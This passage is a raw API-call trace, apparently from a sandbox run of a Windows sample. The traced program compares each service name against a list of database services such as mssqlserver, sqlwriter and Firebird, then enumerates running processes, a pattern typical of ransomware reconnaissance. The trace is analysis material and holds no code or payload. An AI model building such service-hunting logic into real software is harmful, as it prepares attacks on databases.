[0289.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0289.544] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0289.544] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0289.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0289.544] lstrlenW (lpString="lmhosts") returned 7 [0289.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0289.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0289.544] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0289.544] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0289.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0289.544] lstrlenW (lpString="LSM") returned 3 [0289.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0289.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0289.544] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0289.544] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0289.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0289.544] lstrlenW (lpString="MpsSvc") returned 6 [0289.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0289.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0289.544] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0289.544] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0289.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0289.544] lstrlenW (lpString="NcbService") returned 10 [0289.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0289.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0289.544] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0289.545] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0289.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0289.545] lstrlenW (lpString="netprofm") returned 8 [0289.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0289.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0289.545] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0289.545] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0289.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0289.545] lstrlenW (lpString="NgcSvc") returned 6 [0289.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0289.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0289.545] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0289.545] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0289.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0289.545] lstrlenW (lpString="NlaSvc") returned 6 [0289.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0289.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0289.545] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0289.545] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0289.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0289.545] lstrlenW (lpString="nsi") returned 3 [0289.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0289.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0289.545] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0289.545] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0289.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0289.545] lstrlenW (lpString="PcaSvc") returned 6 [0289.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0289.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0289.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0289.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0289.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0289.546] lstrlenW (lpString="PlugPlay") returned 8 [0289.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0289.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0289.546] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0289.546] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0289.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0289.546] lstrlenW (lpString="Power") returned 5 [0289.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0289.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0289.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0289.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0289.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0289.546] lstrlenW (lpString="ProfSvc") returned 7 [0289.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0289.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0289.546] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0289.546] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0289.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0289.546] lstrlenW (lpString="RpcEptMapper") returned 12 [0289.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0289.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0289.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0289.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0289.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0289.546] lstrlenW (lpString="RpcSs") returned 5 [0289.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0289.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0289.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0289.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0289.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0289.546] lstrlenW (lpString="SamSs") returned 5 [0289.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0289.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0289.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0289.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0289.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0289.547] lstrlenW (lpString="Schedule") returned 8 [0289.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0289.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0289.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0289.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0289.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0289.547] lstrlenW (lpString="SecurityHealthService") returned 21 [0289.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0289.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0289.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0289.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0289.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0289.547] lstrlenW (lpString="SENS") returned 4 [0289.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0289.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0289.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0289.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0289.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0289.547] lstrlenW (lpString="ShellHWDetection") returned 16 [0289.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0289.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0289.547] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0289.547] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0289.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0289.547] lstrlenW (lpString="Spooler") returned 7 [0289.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0289.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0289.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0289.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0289.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0289.548] lstrlenW (lpString="SSDPSRV") returned 7 [0289.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0289.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0289.548] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0289.548] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0289.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0289.548] lstrlenW (lpString="StateRepository") returned 15 [0289.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0289.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0289.548] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0289.548] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0289.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0289.548] lstrlenW (lpString="SysMain") returned 7 [0289.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0289.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0289.548] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0289.548] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0289.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0289.548] lstrlenW (lpString="SystemEventsBroker") returned 18 [0289.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0289.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0289.548] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0289.548] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0289.548] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x37b00b8 | out: hHeap=0x730000) returned 1 [0289.548] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0289.692] Process32FirstW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.692] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0289.693] lstrlenW (lpString="System") returned 6 [0289.693] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0289.694] lstrlenW (lpString="smss.exe") returned 8 [0289.694] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0289.695] lstrlenW (lpString="csrss.exe") returned 9 [0289.695] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0289.696] lstrlenW (lpString="wininit.exe") returned 11 [0289.696] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0289.696] lstrlenW (lpString="csrss.exe") returned 9 [0289.696] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0289.697] lstrlenW (lpString="winlogon.exe") returned 12 [0289.697] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0289.698] lstrlenW (lpString="services.exe") returned 12 [0289.698] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0289.699] lstrlenW (lpString="lsass.exe") returned 9 [0289.699] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0289.700] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0289.700] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0289.700] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0289.701] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.701] lstrlenW (lpString="svchost.exe") returned 11 [0289.701] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.702] lstrlenW (lpString="svchost.exe") returned 11 [0289.702] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0289.703] lstrlenW (lpString="dwm.exe") returned 7 [0289.703] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.704] lstrlenW (lpString="svchost.exe") returned 11 [0289.704] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.705] lstrlenW (lpString="svchost.exe") returned 11 [0289.705] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.705] lstrlenW (lpString="svchost.exe") returned 11 [0289.706] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.709] lstrlenW (lpString="svchost.exe") returned 11 [0289.709] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.710] lstrlenW (lpString="svchost.exe") returned 11 [0289.710] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.710] lstrlenW (lpString="svchost.exe") returned 11 [0289.711] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.711] lstrlenW (lpString="svchost.exe") returned 11 [0289.711] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.712] lstrlenW (lpString="svchost.exe") returned 11 [0289.712] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.713] lstrlenW (lpString="svchost.exe") returned 11 [0289.713] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.713] lstrlenW (lpString="svchost.exe") returned 11 [0289.713] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0289.714] lstrlenW (lpString="spoolsv.exe") returned 11 [0289.714] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.715] lstrlenW (lpString="svchost.exe") returned 11 [0289.715] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0289.715] lstrlenW (lpString="audiodg.exe") returned 11 [0289.715] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0289.716] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0289.716] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0289.717] lstrlenW (lpString="Memory Compression") returned 18 [0289.717] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0289.717] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0289.717] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0289.718] lstrlenW (lpString="sihost.exe") returned 10 [0289.718] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.719] lstrlenW (lpString="svchost.exe") returned 11 [0289.719] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0289.720] lstrlenW (lpString="taskhostw.exe") returned 13 [0289.720] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0289.720] lstrlenW (lpString="msoia.exe") returned 9 [0289.720] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0289.721] lstrlenW (lpString="explorer.exe") returned 12 [0289.721] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0289.722] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0289.722] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0289.723] lstrlenW (lpString="SearchUI.exe") returned 12 [0289.723] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0289.723] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0289.723] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0289.724] lstrlenW (lpString="load0.exe") returned 9 [0289.724] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8d1fd2c | out: 